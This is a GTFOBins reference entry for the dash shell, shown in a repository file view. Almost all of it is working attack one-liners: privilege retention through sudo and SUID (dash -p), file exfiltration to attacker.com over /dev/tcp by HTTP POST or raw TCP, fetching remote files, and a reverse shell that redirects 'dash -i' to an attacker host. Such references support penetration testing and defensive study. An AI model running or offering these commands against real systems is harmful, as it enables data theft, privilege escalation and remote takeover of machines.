GTFOBins.github.io/_gtfobins/dash.md
Emilio Pinna c6441d33ef Add dash
2018-05-24 21:47:10 +01:00

1.5 KiB

functions
exec-interactive sudo-enabled suid-enabled upload download reverse-shell
code
dash
code
sudo dash
code
./dash -p
description code
Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT
description code
Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send cat $LFILE > /dev/tcp/$RHOST/$RPORT
description code
Fetch a remote file via HTTP GET request. RHOST=attacker.com RPORT=12345 LFILE=file_to_get (echo -e "GET /$LFILE HTTP/0.9\r\n\r\n" 1>&3 & cat 0<&3) 3<>/dev/tcp/$RHOST/$RPORT | (read i; while [ "$(echo $i | tr -d '\r')" != "" ]; do read i; done; cat) > $LFILE
description code
Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_get cat < /dev/tcp/$RHOST/$RPORT > $LFILE
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. RHOST=attacker.com RPORT=12345 dash -i >& /dev/tcp/$RHOST/$RPORT 0>&1